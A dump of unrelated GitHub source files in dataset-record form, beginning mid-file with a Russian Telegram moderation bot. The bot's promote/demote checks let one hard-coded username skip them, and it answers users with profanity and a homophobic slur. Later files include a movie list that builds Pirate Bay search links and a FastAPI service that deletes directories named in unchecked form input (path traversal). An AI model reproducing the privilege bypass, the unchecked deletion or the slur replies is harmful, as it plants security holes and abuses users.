@{message.from_user.username}')\n except:\n await message.reply('Ошибка.')\n\n if re.search(r'!promote \\S+', message.text) or re.search(r'/promote \\S+', message.text):\n if message.reply_to_message:\n\n admt = await message.chat.get_member(message.from_user.id)\n\n if admt.is_chat_admin():\n if admt.can_promote_members == True or message.from_user.username == 'CM0KE':\n\n try:\n pref = message.text.replace('!promote ', '')\n\n pref = pref.replace('/promote ', '')\n\n await message.chat.promote(message.reply_to_message.from_user.id, False, False, False,\n False, False, True, False, False, False)\n\n await message.chat.set_administrator_custom_title(message.reply_to_message.from_user.id,\n pref)\n\n await message.reply(\n f'Пользователь @{message.reply_to_message.from_user.username} повышен, префикс: {pref}.')\n\n except:\n await asyncio.sleep(0.5)\n else:\n await message.reply('У тебя нету прав на назначение администраторов:)')\n\n else:\n\n await message.reply('Ты не администратор:)')\n\n await asyncio.sleep(0.5)\n\n await message.delete()\n else:\n await message.reply('Это надо писать в ответ на сообщение.')\n\n if re.search(r'!demote', message.text) or re.search(r'/demote', message.text):\n if message.reply_to_message:\n\n admt = await message.chat.get_member(message.from_user.id)\n\n if admt.is_chat_admin():\n if admt.can_promote_members == True or message.from_user.username == 'CM0KE':\n try:\n\n await message.chat.promote(message.reply_to_message.from_user.id, False, False, False,\n False, False, False, False, False, False)\n\n await message.reply(\n f'Пользователь @{message.reply_to_message.from_user.username} снят с админки')\n\n except:\n\n await message.reply('У меня нету прав на добавление администраторов.')\n\n await asyncio.sleep(0.5)\n\n await message.delete()\n else:\n await message.reply('У тебя нету прав на назначение администраторов')\n\n else:\n\n await message.reply('Ты не администратор.')\n\n await asyncio.sleep(0.5)\n\n await message.delete()\n else:\n userid = message.text.replace('/demote @', '')\n userid = userid.replace('!demote @', '')\n us = sql.select_data(userid, \"username\")[0]\n us = us[0]\n admt = await message.chat.get_member(message.from_user.id)\n if admt.is_chat_admin():\n if admt.can_promote_members == True or message.from_user.username == 'CM0KE':\n try:\n await message.chat.promote(int(us), False, False, False, False, False, False, False,\n False, False)\n await message.reply(f'@{userid} понижен в правах')\n except:\n await asyncio.sleep(0.5)\n await message.delete()\n else:\n await message.reply('У тебя нету прав на назначение администраторов:)')\n else:\n\n await message.reply('Ты не администратор.')\n await asyncio.sleep(0.5)\n\n '''if re.search(r'!mute', message.text) or re.search(r'/mute', message.text):\n if re.search(r'!mute', message.text) or re.search(r'/mute', message.text):\n readonly_to = await message.chat.get_member(message.reply_to_message.from_user.id)\n\n if readonly_to.is_chat_admin():\n await message.reply(localization.get_string(\"error_restrict_admin\"))\n\n return\n\n adma = await message.chat.get_member(message.from_user.id)\n\n if not adma.is_chat_admin():\n return\n ro_period = message.text.replace('!mute ', '')\n\n ro_period = ro_period.replace('/mute ', '')\n\n if re.search(r'm', ro_period):\n ro_period = ro_period.replace('m', '')\n\n ro_period = int(ro_period)\n ro_end_date = message.date + timedelta(minutes=ro_period)\n await message.chat.restrict(\n\n user_id=message.reply_to_message.from_user.id,\n\n permissions=types.ChatPermissions(),\n\n until_date=ro_end_date)\n\n ulink = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n\n await message.reply(f'{ulink} замьючен до {ro_end_date}', disable_web_page_preview=True)\n await message.delete(message.reply_to_message.id)\n if re.search(r's', ro_period):\n ro_period = ro_period.replace('s', '')\n\n ro_period = int(ro_period)\n ro_end_date = message.date + timedelta(second=ro_period)\n await message.chat.restrict(\n\n user_id=message.reply_to_message.from_user.id,\n\n permissions=types.ChatPermissions(),\n\n until_date=ro_end_date)\n\n ulink = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n\n await message.reply(f'{ulink} замьючен до {ro_end_date}', disable_web_page_preview=True)\n await message.delete(message.reply_to_message.id)\n if re.search(r'h', ro_period):\n ro_period = ro_period.replace('h', '')\n\n ro_period = int(ro_period)\n ro_end_date = message.date + timedelta(hours=ro_period)\n await message.chat.restrict(\n\n user_id=message.reply_to_message.from_user.id,\n\n permissions=types.ChatPermissions(),\n\n until_date=ro_end_date)\n\n ulink = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n\n await message.reply(f'{ulink} замьючен до {ro_end_date}', disable_web_page_preview=True)\n await message.delete(message.reply_to_message.id)\n if re.search(r'd', ro_period):\n ro_period = ro_period.replace('d', '')\n\n ro_period = int(ro_period)\n ro_end_date = message.date + timedelta(days=ro_period)\n await message.chat.restrict(\n\n user_id=message.reply_to_message.from_user.id,\n\n permissions=types.ChatPermissions(),\n\n until_date=ro_end_date)\n\n ulink = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n\n await message.reply(f'{ulink} замьючен до {ro_end_date}', disable_web_page_preview=True)\n await bot.delete_message(message.chat.id, message.reply_to_message.message_id)\n else:\n await message.answer(\n 'Неверный формат, введите: \\n\\n !mute *числ��*значение\\nЗначения:\\nd — дней\\nh — часов\\nm — минут\\ns — секунд')\n\n if re.search(r'!unmute', message.text) or re.search(r'/unmute', message.text):\n if re.search(r'!unmute', message.text) or re.search(r'/unmute', message.text):\n adma = await message.chat.get_member(message.from_user.id)\n testmute = await message.chat.get_member(message.reply_to_message.from_user.id)\n if testmute.can_send_messages:\n await message.reply('Чел не в муте.')\n return\n if adma.is_chat_admin():\n ro_end_date = message.date + timedelta(days=377)\n await message.chat.restrict(\n\n user_id=message.reply_to_message.from_user.id,\n\n permissions=types.ChatPermissions(can_send_messages=True, can_send_media_messages=True,\n can_send_other_messages=True,\n can_add_web_page_previews=True),\n\n until_date=ro_end_date)\n\n ulink = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n\n await message.reply(f'{ulink} размьючен', disable_web_page_preview=True)'''\n\n if re.search(r'Тебе жаба', message.text) or message.text == 'Взять жабу' or message.text == 'взять жабу':\n otvets = ['Иди нахуй со своими жабами , заебал уже', 'Боже... жабы.... заебали они уже.',\n 'Удали нахуй , не бери эту жабу']\n randotvet = random.choice(otvets)\n await message.reply(randotvet)\n\n if int(chatsss[4]) != 0:\n\n if message.text not in slovall:\n\n if re.search(r'Smoke', message.text) or re.search(r'smoke', message.text) or re.search(r'/',\n message.text):\n\n print(' ')\n\n else:\n\n msg = message.text.replace(\"\"\"\n\n\t\t\t\t\t\t\t\t\t\t\t \t\"\"\", '\\n')\n\n await new_slovo(msg)\n\n chana = random.choice(['s', 'm'])\n if chana == 'm':\n\n slovo = random.choice(slovall)\n\n slovo = str(slovo)\n\n slovo = slovo.replace(\"\"\"\n\n\t\t\t\t\t\t\t\t\t\t\t\t\"\"\", '\\n')\n\n zuzu = slovo\n\n if zuzu[0] != '(' and len(zuzu) != 1:\n\n chance = random.randint(0, int(chatsss[10]))\n if chance == 1:\n\n otvet = zuzu\n\n if otvet != \"('1',)\":\n await message.reply(zuzu)\n else:\n stickalls = [i[0] for i in stickall]\n stick = random.choice(stickalls)\n chance = random.randint(0, int(chatsss[10]))\n if chance == 1:\n await message.reply_sticker(stick)\n\n\n\n elif message.text in slovall:\n\n if re.search(r'Smoke', message.text) or re.search(r'smoke', message.text) or re.search(r'/',\n message.text):\n\n print(' ')\n\n else:\n chan = random.choice(['s', 'm'])\n if chan == 'm':\n\n slovo = random.choice(slovall)\n\n slovo = str(slovo)\n\n slovo = slovo.replace(\"\"\"\n\n\t\t\t\t\t\t\t\t\t\t\t\t\"\"\", '\\n')\n\n msg = slovo\n\n if msg[0] != '(' and len(msg) != 1:\n\n chance = random.randint(0, int(chatsss[10]))\n\n if chance == 1:\n\n otvet = msg\n\n if otvet != \"('1',)\":\n await message.reply(msg)\n else:\n stickalls = [i[0] for i in stickall]\n stick = random.choice(stickalls)\n chance = random.randint(0, int(chatsss[10]))\n if chance == 1:\n await message.reply_sticker(stick)\n\n if re.search(r'Люблю \\S+', message.text) or re.search(r'люблю \\S+', message.text):\n\n msg = message.text.replace('Люблю ', '')\n\n msg = msg.replace('люблю ', '')\n\n chance = random.randint(0, int(chatsss[10]))\n\n if re.search(r'ок', msg):\n\n msg = msg.replace('ок', 'ки')\n\n msg = msg.replace('ей', 'и')\n\n await message.reply(f'{msg} для пидоров')\n\n else:\n\n await message.reply(f'{msg} для пидоров')\n else:\n await message.delete()\n\n if re.search(r'Хочу \\S+', message.text) or re.search(r'хочу\\S+', message.text):\n\n msg = message.text.replace('Хочу ', '')\n\n msg = msg.replace('хочу ', '')\n\n chance = random.randint(0, int(chatsss[10]))\n\n if re.search(r'ок', msg):\n\n msg = msg.replace('ок', 'ки')\n\n msg = msg.replace('ей', 'и')\n\n await message.reply(f'{msg} для пидоров')\n\n else:\n\n await message.reply(f'{msg} для пидоров')\n\n if re.search(r'Стата', texts) or re.search(r'статистика', texts):\n\n members = await message.chat.get_members_count()\n\n adms = list_of_user\n\n chats = len(chatsqlall)\n\n adms = len(adms)\n\n a = chatsql.get_all_data()\n s = 0\n aboba = [chat[0] for chat in a]\n chatses = []\n for i in aboba:\n try:\n b = await bot.get_chat_members_count(i)\n if not i in chatses:\n s += b\n chatses.append(i)\n except:\n pass\n\n await message.reply(\n f'В чате {members} пользователей.\\nСообщений написано: {chatsss[6]}\\n\\nПользователей в боте:\\n{str(adms)}\\nБота пригласили в {chats} чатов\\nОбщее количество участников в чатах: {s}')\n\n\nif __name__ == '__main__':\n executor.start_polling(dp)","repo_name":"skkarimov/botmoder","sub_path":"bothandler/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":116162,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24083132763","text":"\"\"\"\nModule for managing a persistent list of movies.\nThe list is stored in a picked hashmap of movie\nnames to imdb info\n\"\"\"\nimport logging\nimport random\nimport pickle\nimport re\nfrom imdb import Cinemagoer\n\nIMDB_ID = \"imdbID\"\nMAIN_INFO_KEY = \"main\"\nRUNTIMES_KEY = \"runtimes\"\nTITLE_KEY = \"title\"\nLONG_TITLE_KEY = \"long imdb title\"\nMOVIELIST_FILENAME = \"/data/movies.pickle\"\nLOG_FILENAME = \"/data/movie_list.log\"\nPIRATE_SEARCH_BASE = \"https://thepiratebay.org/search.php?q=\"\nIMDB_URL_PATTERN = \"imdb\\.com/title/tt(\\d+)\"\nIMDB_URL_BASE = \"https://www.imdb.com/title/tt\"\n\nlogging.basicConfig(\n filename=LOG_FILENAME,\n level=logging.INFO,\n format='%(asctime)s - %(message)s')\n\ndef logged(func):\n def modified_func(*args, **kwargs):\n logging.info(f\"{func.__name__} (args: {args}, {kwargs})\")\n try:\n return func(*args, **kwargs)\n except Exception as e:\n logging.error(e)\n raise e\n return modified_func\n\n@logged\ndef _get_movie_runtime_from_movie_info(movie_info):\n if RUNTIMES_KEY in movie_info:\n return int(movie_info[RUNTIMES_KEY][0])\n raise Exception(f\"no runtime found for {movie_info[TITLE_KEY]}\")\n\n@logged\ndef _create_initial_movies():\n return dict()\n\n@logged\ndef _save(obj, filename):\n # print(f\"writing {filename} with this data: {obj}\")\n with open(filename, \"wb\") as f:\n pickle.dump(obj, f)\n\n@logged\ndef _load(filename):\n with open(filename, \"rb\") as f:\n return pickle.load(f)\n\n@logged\ndef _save_movies(obj):\n _save(obj, MOVIELIST_FILENAME)\n\n@logged\ndef _load_movies():\n return _load(MOVIELIST_FILENAME)\n\n@logged\ndef _get_movies():\n try:\n return _load_movies()\n except Exception as e:\n print(f\"failed to read file, initializing instead\")\n print(f\"previous: {e}\")\n data = _create_initial_movies()\n _save_movies(data)\n return data\n\n@logged\ndef _match_imdb_url(query):\n url_match = re.search(IMDB_URL_PATTERN, query)\n return url_match\n\n@logged\ndef _build_imdb_link(movie_id):\n return IMDB_URL_BASE + movie_id\n\nclass MovieList():\n \"\"\"A list of movies and related information\"\"\"\n\n @logged\n def __init__(self):\n self.ia = Cinemagoer()\n self.last_movie_mentioned = \"\"\n self.search_cache = {}\n\n @logged\n def search_list(self, query):\n names = self.get_movie_names()\n\n def matches_query(movie_name):\n return str.lower(query) in str.lower(movie_name)\n\n filtered_movie_names = filter(matches_query, names)\n return list(filtered_movie_names)\n\n @logged\n def pick_random_movie_name(self):\n names = self.get_movie_names()\n movie_name = random.choice(list(names))\n self.last_movie_mentioned = movie_name\n return movie_name\n\n @logged\n def get_movie_names(self):\n return list(_get_movies().keys())\n\n @logged\n def add_movie(self, movie_query):\n if movie_query == None:\n movie_query = self.last_movie_mentioned\n url_match = _match_imdb_url(movie_query)\n if url_match:\n imdb_id = url_match.group(1)\n movie_info = self._get_movie_info_by_id(imdb_id)\n movie_name = movie_info[LONG_TITLE_KEY]\n else:\n movie_info = self._get_movie_info(movie_query)\n movie_name = movie_query\n\n movies = _get_movies()\n movies[movie_name] = movie_info\n _save_movies(movies)\n self.last_movie_mentioned = movie_name\n return movie_name\n\n @logged\n def remove_movie_name(self, movie_name):\n if movie_name == None:\n movie_name = self.last_movie_mentioned\n movies = _get_movies()\n if movie_name in movies:\n del movies[movie_name]\n _save_movies(movies)\n return movie_name\n return None\n\n @logged\n def correct_movie(self, option):\n if option == None:\n return self._get_correct_movie_options(self.last_movie_mentioned)\n elif option.isdigit():\n return self._set_correct_movie_option(int(option))\n elif _match_imdb_url(option):\n self.remove_movie_name(self.last_movie_mentioned)\n return self.add_movie(option)\n self.last_movie_mentioned = option\n return self._get_correct_movie_options(option)\n\n @logged\n def _set_correct_movie_option(self, option_number):\n search_results = self._search_for_movie(self.last_movie_mentioned, 5)\n correct_option = search_results[option_number]\n correct_option_link = _build_imdb_link(correct_option.movieID)\n\n old_option = self._get_movie_info(self.last_movie_mentioned)\n old_option_caption = old_option[LONG_TITLE_KEY]\n\n self.remove_movie_name(self.last_movie_mentioned)\n new_option_name = self.add_movie(correct_option_link)\n\n new_option = self._get_movie_info(new_option_name)\n new_option_caption = new_option[LONG_TITLE_KEY]\n\n new_option_link = self.get_imdb_link(new_option_name)\n self.last_movie_mentioned = new_option_caption\n return f\"Replaced {old_option_caption} with {new_option_caption}\\n{new_option_link}\"\n\n @logged\n def _get_correct_movie_options(self, movie_query):\n search_results = self._search_for_movie(movie_query, 5)\n def create_tuple(movie):\n imdb_url = _build_imdb_link(movie.movieID)\n return (movie[LONG_TITLE_KEY], imdb_url)\n search_infos = list(map(create_tuple, search_results))\n return search_infos\n\n @logged\n def get_imdb_link(self, movie_name):\n if movie_name is None:\n movie_name = self.last_movie_mentioned\n movieId = self._get_movie_id(movie_name)\n url = f\"https://www.imdb.com/title/tt{movieId}\"\n self.last_movie_mentioned = movie_name\n return url\n\n @logged\n def get_pirate_link(self, movie_name):\n if movie_name is None:\n movie_name = self.last_movie_mentioned\n search_url = PIRATE_SEARCH_BASE + movie_name.replace(\" \", \"+\")\n return search_url\n\n @logged\n def get_movies_below_runtime(self, runtime):\n movies = _get_movies()\n movie_names = list(movies.keys())\n\n def check_runtime(movie_name):\n movie_info = movies[movie_name]\n try:\n movie_runtime = _get_movie_runtime_from_movie_info(movie_info)\n return movie_runtime < runtime\n except Exception as e:\n print(e)\n return False\n\n filtered_movie_names = filter(check_runtime, movie_names)\n return list(filtered_movie_names)\n\n @logged\n def pick_random_movie_below_runtime(self, runtime):\n movie_name = random.choice(self.get_movies_below_runtime(runtime))\n self.last_movie_mentioned = movie_name\n return movie_name\n\n @logged\n def get_movie_runtime(self, movie_name):\n if movie_name is None:\n movie_name = self.last_movie_mentioned\n movie = self._get_movie_info(movie_name)\n self.last_movie_mentioned = movie_name\n return _get_movie_runtime_from_movie_info(movie)\n\n @logged\n def _search_for_movie(self, movie_name, number_of_results=None):\n if movie_name not in self.search_cache:\n self.search_cache[movie_name] = self.ia.search_movie(movie_name)\n movie_search_results = self.search_cache[movie_name]\n if len(movie_search_results) < 1:\n raise Exception(f\"couldn't find movie {movie_name}\")\n if number_of_results != None:\n return movie_search_results[:number_of_results]\n return movie_search_results[0]\n\n @logged\n def _get_movie_by_id(self, movie_id):\n movie = self.ia.get_movie(movie_id)\n return movie\n\n @logged\n def _get_movie_id(self, movie_name):\n logging.info(f\"_get_movie_id movie_name: {movie_name}\")\n movie = self._get_movie_info(movie_name)\n logging.info(f\"movie: {movie}\")\n movieId = movie.movieID\n logging.info(f\"movieId: {movieId}\")\n return movieId\n\n @logged\n def _update_movie(self, movie):\n self.ia.update(movie, info=[MAIN_INFO_KEY])\n return movie\n\n @logged\n def _get_movie_info_by_id(self, movie_id):\n movie_info = self.ia.get_movie(movie_id)\n return movie_info\n\n @logged\n def _get_movie_info(self, movie_name):\n movies = _get_movies()\n if movie_name not in movies or movies[movie_name] is None:\n print(f\"fetching data for {movie_name}\")\n movie_result = self._search_for_movie(movie_name)\n movie_info = self._update_movie(movie_result)\n else:\n print(f\"reading {movie_name} from cache\")\n movie_info = movies[movie_name]\n return movie_info\n","repo_name":"CathalMcG/Bert","sub_path":"movieList.py","file_name":"movieList.py","file_ext":"py","file_size_in_byte":8811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21066873427","text":"import pytest\n\nfrom gsheets import backend\n\n\ndef test_build_service(mocker, serviceName='spam', version='v1'): # noqa: N803\n build = mocker.patch('apiclient.discovery.build', autospec=True)\n\n result = backend.build_service(serviceName=serviceName, version=version)\n\n assert result is build.return_value\n\n from oauth2client import __version__ as o2c_version\n\n o2c_v4 = (o2c_version == '4' or o2c_version.startswith('4.'))\n\n build.assert_called_once_with(serviceName=serviceName, version=version,\n cache_discovery=not o2c_v4)\n\n\n@pytest.mark.usefixtures('files')\ndef test_iterfiles(services):\n assert sum(1 for _ in backend.iterfiles(services.drive)) == 1\n\n list_ = services.drive.files.return_value.list\n list_.assert_called_once_with(\n q=\"mimeType='application/vnd.google-apps.spreadsheet'\",\n orderBy='folder,name,createdTime',\n pageToken=None)\n list_.return_value.execute.assert_called_once_with()\n\n\n@pytest.mark.usefixtures('files')\ndef test_iterfiles_nomime(services):\n assert sum(1 for _ in backend.iterfiles(services.drive, mimeType=None)) == 1\n\n list_ = services.drive.files.return_value.list\n list_.assert_called_once_with(orderBy='folder,name,createdTime',\n pageToken=None)\n list_.return_value.execute.assert_called_once_with()\n","repo_name":"xflr6/gsheets","sub_path":"tests/test_backend.py","file_name":"test_backend.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"47"} +{"seq_id":"22617900440","text":"from fastapi import UploadFile, Request, Form\nfrom fastapi.exceptions import HTTPException\nfrom typing_extensions import Annotated\n\nfrom uuid import uuid4\nfrom spleeter.separator import Separator\nfrom moviepy.editor import VideoFileClip\nfrom shutil import copyfileobj, rmtree\nfrom os import mkdir, rename, path\n\n\ndef remove_music(file: UploadFile) -> str:\n # Ensure the file is audio or video\n if not any([x in file.content_type for x in ['audio', 'video']]):\n raise HTTPException(status_code=400, detail=\"Invalid file type\")\n\n # check the file size\n if file.size > 1024 * 1024 * 1024:\n raise HTTPException(status_code=400, detail=\"File size must be less than 1GB\")\n \n # create direcory in temp folder\n new_dir = _new_dir()\n mkdir(f\"{new_dir}/input\")\n \n # save uploaded file\n fname_list = file.filename.split('.')\n src_file = f\"{new_dir}/input/file.{fname_list[-1]}\"\n output_file = f\"{new_dir}/{'.'.join(fname_list[:-1])}-musicless.{fname_list[-1]}\"\n with open(src_file, \"wb\") as buffer:\n copyfileobj(file.file, buffer)\n\n # try 2 times cause tensorflow raise error sometimes\n vocals = \"\"\n try:\n print('first try')\n out = _remove_music(src_file, new_dir, file.content_type, output_file, vocals)\n yield out\n except Exception as e:\n print('Error:', e)\n try:\n print('second try')\n out = _remove_music(src_file, new_dir, file.content_type, output_file, vocals)\n yield out\n except Exception as e:\n print('failed')\n print(e)\n if new_dir:\n rmtree(new_dir)\n yield ''\n finally:\n # run after the response sent\n # remove unneeded files and directory\n if f\"{new_dir}/input\":\n rmtree(f\"{new_dir}/input\")\n pass\n\n\ndef _remove_music(src_file, _dir, content_type, output_file, vocals=\"\") -> str:\n vocals = vocals or _extract_vocals(src_file, _dir)\n out = _output_file(src_file, _dir, vocals, content_type)\n rename(out, output_file)\n return f\"/download/{output_file}\"\n\n\ndef _extract_vocals(src_file, _dir) -> str:\n sep_dir = \"input/files\"\n separator = Separator('spleeter:2stems')\n separator.separate_to_file(src_file, _dir, codec=\"mp3\", filename_format=f\"{sep_dir}/\" + \"{instrument}.{codec}\")\n return path.join(_dir, f\"{sep_dir}/vocals.mp3\")\n\n\ndef _output_file(src_file, _dir, vocals, content_type) -> str:\n out = vocals\n if 'video' in content_type:\n clip = VideoFileClip(src_file, audio=False)\n out = path.join(_dir, \"out.mp4\")\n clip.write_videofile(out, audio=vocals)\n return out\n\n\ndef _new_dir() -> str:\n if not path.exists(\"temp\"):\n mkdir(\"temp\")\n try:\n dname = f\"temp/{str(uuid4())}\"\n mkdir(dname)\n return dname\n except FileExistsError:\n return _new_dir()\n\n\n# manage files\ndef list_files(request: Request):\n import os\n from pathlib import Path\n from datetime import datetime, timedelta\n \n paths = []\n if path.exists('temp'):\n paths = sorted(Path('temp').iterdir(), key=os.path.getmtime)\n paths = [\n {\n 'name': p.name,\n 'files': os.listdir(p),\n 'size': round(sum(f.stat().st_size for f in p.glob('**/*') if f.is_file()) /1024/1024, 2),\n 'modified': datetime.fromtimestamp(p.stat().st_mtime)\n } for p in paths\n ]\n return {\n \"request\": request, \"lang\": 1, \"paths\":paths,\n 'now': datetime.now(),\n 'today':datetime.today().date(), \n 'yesterday':datetime.today().date() - timedelta(days=1),\n 'weekb4': datetime.today().date() - timedelta(days=7),\n }\n\n\ndef delete_files(names: Annotated[str, Form()]):\n try:\n for dir in names.strip().split():\n rmtree(f'temp/{dir}')\n except Exception as e:\n print(e)\n return False\n return True","repo_name":"a7med84/musicless","sub_path":"app/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26536888809","text":"\"\"\"Implements co-reference query rewriter\"\"\"\nimport gzip\nimport logging\nimport pickle\nfrom os import environ\nfrom pathlib import Path\nfrom typing import Dict, List, Tuple, Union\n\nimport torch.cuda as cuda\nfrom allennlp_models import pretrained\nfrom pandas import DataFrame, Series\n\nfrom convSearchPython.basics import conf\nfrom convSearchPython.pipelines import Rewriter, StepType\nfrom convSearchPython.utils.data_utils import replace_col_with_history\n\nlogging.getLogger('allennlp.common.params').setLevel(logging.ERROR)\nlogging.getLogger('allennlp.nn.initializers').setLevel(logging.ERROR)\nlogging.getLogger('allennlp.modules.token_embedders.embedding').setLevel(logging.INFO)\nlogging.getLogger('urllib3.connectionpool').setLevel(logging.ERROR)\n\nif conf.getboolean('GENERAL', 'quiet', fallback=True):\n logging.getLogger('allennlp.common.plugins').setLevel(logging.ERROR)\n logging.getLogger('allennlp.common.model_card').setLevel(logging.ERROR)\n logging.getLogger('cached_path').setLevel(logging.ERROR)\n logging.getLogger('allennlp.models.archival').setLevel(logging.ERROR)\n logging.getLogger('allennlp.data.vocabulary').setLevel(logging.ERROR)\n logging.getLogger('allennlp.modules.token_embedders.embedding').setLevel(logging.ERROR)\n logging.getLogger('allennlp.modules.token_embedders.embedding').setLevel(logging.ERROR)\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nif 'NO_PRELOAD' not in environ:\n # make sure required data is downloaded when this module is loaded\n pretrained.load_predictor(\"coref-spanbert\")\n\n\ndef get_default_predictor(no_cuda=False):\n \"\"\"Get the default predictor for coref query rewriting\n\n :param no_cuda: if True cuda is not used even if available (default False)\n :returns: the default predictor for the co-reference\"\"\"\n if cuda.is_available() and not no_cuda:\n logger.info('Using cuda device \"%s\" for Coref1 (allennlp)', str(cuda.get_device_name(cuda.current_device())))\n return pretrained.load_predictor(\"coref-spanbert\", cuda_device=cuda.current_device())\n return pretrained.load_predictor(\"coref-spanbert\")\n\n\nclass AllennlpCoreferenceQueryRewriter(Rewriter):\n \"\"\"\n Co-reference query rewriter that uses allennlp.\n\n If a cache file is provided resolved queries are automatically loaded from it\n \"\"\"\n def __init__(self, conversations: Dict[str, List[str]],\n query_map: Dict[str, Tuple[str, int]], allow_cuda=True,\n cache_dir: Union[str, Path] = None, autosave=True,\n **kwargs):\n \"\"\"\n Args:\n conversations: the conversations structure\n query_map: the query map structure\n allow_cuda: if True cuda is used if available\n cache_dir: the cache dir path (None disable cache)\n autosave: if True the cache is automatically saved\n kwargs: extra unused arguments\n \"\"\"\n super().__init__(**kwargs)\n self._conversations = conversations\n self._query_map = query_map\n self._allow_cuda = allow_cuda\n self._autosave = autosave\n self.__logger = logging.getLogger(self.__class__.__name__)\n\n self._cache = None\n self._cache_file = None\n self._cache_modified = None\n if cache_dir is not None:\n self._cache_file = Path(cache_dir, f'{self.__module__}.{self.__class__.__name__}.pkl.gz')\n\n self._cuda = allow_cuda and cuda.is_available()\n self._predictor = None\n\n def write_cache(self):\n \"\"\"Update the cache if it was modified\"\"\"\n if not self._cache_modified:\n return\n with self._cache_file.open('wb') as file_stream:\n with gzip.open(file_stream, 'wb') as stream:\n pickle.dump(self._cache, stream)\n self._cache_modified = False\n\n def load_cache(self):\n \"\"\"Load cache from file (if exists)\n\n No need to call it is using rewrite or __call__ method\"\"\"\n if self._cache_file.exists():\n try:\n with self._cache_file.open('rb') as file_stream:\n with gzip.open(file_stream, 'rb') as stream:\n self._cache = pickle.load(stream)\n self._cache_modified = False\n except Exception as e:\n self.__logger.error(e)\n self._cache = {}\n else:\n self._cache = {}\n\n def _coref(self, query: Series, queries: DataFrame) -> str:\n if self._predictor is None:\n self._predictor = get_default_predictor(no_cuda=not self._allow_cuda)\n qid = query['qid']\n conv_id, conv_index = self._query_map[qid]\n current_conv_ids = self._conversations[conv_id][:conv_index + 1]\n current_conv_queries = queries[queries['qid'].isin(current_conv_ids)]\n full_concat = ' | '.join(current_conv_queries['query'])\n full_coref: str = self._predictor.coref_resolved(full_concat)\n rewritten_query = full_coref.split(' | ')[-1]\n\n # terrier fails if encounter char '\n rewritten_query = rewritten_query.replace(\"'s\", \"\").replace(\"'\", \"\")\n\n return rewritten_query\n\n def _rewrite_single(self, query: Series, queries: DataFrame):\n if self._cache is not None:\n qid = query['qid']\n rewritten_query = self._cache.get(qid)\n if rewritten_query is None:\n rewritten_query = self._coref(query, queries)\n self._cache[qid] = rewritten_query\n self._cache_modified = True\n else:\n rewritten_query = self._coref(query, queries)\n\n return rewritten_query\n\n def rewrite(self, queries: DataFrame) -> DataFrame:\n if self._cache is None and self._cache_file is not None:\n self.load_cache()\n values = queries.apply(self._rewrite_single, axis=1, args=(queries, ))\n return replace_col_with_history('query', values, queries)\n\n def cleanup(self):\n self._predictor = None\n self._cache = None\n\n @property\n def name(self) -> str:\n return 'Coref1'\n\n @property\n def type(self) -> StepType:\n if self._cuda:\n return StepType.SEQUENTIAL\n else:\n return StepType.CONVERSATIONALLY_PARALLEL\n\n\nif __name__ == '__main__':\n def main():\n \"\"\"For testing purpose\"\"\"\n # noinspection PyUnresolvedReferences\n import convSearchPython.basics\n from convSearchPython.dataset.CAsT import CastDataset\n\n queries, qrels, conversations, query_map = CastDataset.cast2019.get_dataset()\n # queries, qrels, conversations, query_map = CastDataset.cast2020.get_dataset()\n\n rewriter = AllennlpCoreferenceQueryRewriter(queries,\n conversations,\n query_map,\n cache_dir='./workdir/cache/cast2019',\n )\n # for i, row in queries.iterrows():\n # orig = row['query']\n # rw = rewrite(row)\n # print('Orig: {}\\nRewr: {}\\n'.format(orig, rw))\n # rewrite.write_cache()\n queries['orign'] = queries['query']\n queries = rewriter(queries)\n print(queries[['orign', 'query']])\n\n\n main()\n","repo_name":"giamgiammi/ConvSearchPython","sub_path":"convSearchPython/searching/rewriter/coref_query.py","file_name":"coref_query.py","file_ext":"py","file_size_in_byte":7339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25421555632","text":"'''This is a \"shombe\"'''\n#!/usr/bin/python3\n\nimport sys\nimport os\n\ndef circle_function(radius):\n\n r = float(radius)\n pi = 3.14\n area = pi*(r**2)\n perim = 2*pi*r\n\n print(\"THe area of this circle is: \",area)\n print(\"the perimeter of this circle is: \",perim)\n\ndef say_something(something):\n\n print(str(something))\n\nif __name__ == \"__main__\":\n circle_function(sys.argv[1])\n say_something(sys.argv[2])\n","repo_name":"yusuphjs/testgit","sub_path":"circle_function.py","file_name":"circle_function.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21142750110","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\nINF = int(1e9)\nV, E = map(int, input().split())\ngraph = [[INF]*(V+1) for _ in range(V+1)]\n\nfor _ in range(E):\n a, b, c = map(int, input().split())\n graph[a][b] = c\n \nfor k in range(1, V+1):\n for i in range(1, V+1):\n for j in range(1, V+1):\n if graph[i][k] + graph[k][j] < graph[i][j]:\n graph[i][j] = graph[i][k] + graph[k][j]\n \nanswer = INF\nfor i in range(1, V+1):\n answer = min(answer, graph[i][i])\n \nprint(answer if answer != INF else -1)\n","repo_name":"cpwoo/CodeTest","sub_path":"Python/boj/shortestPath/1956.py","file_name":"1956.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27407090442","text":"#!/usr/bin/python3\n\"\"\"\nModel create\nwith the Class\nDeclaration\n\"\"\"\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String\n\nBase = declarative_base()\n\n\nclass State(Base):\n \"\"\"\n The atributes of database are created in this model\n and the conexion work from arguments pass and the (6-model_state.py) file\n \"\"\"\n __tablename__ = 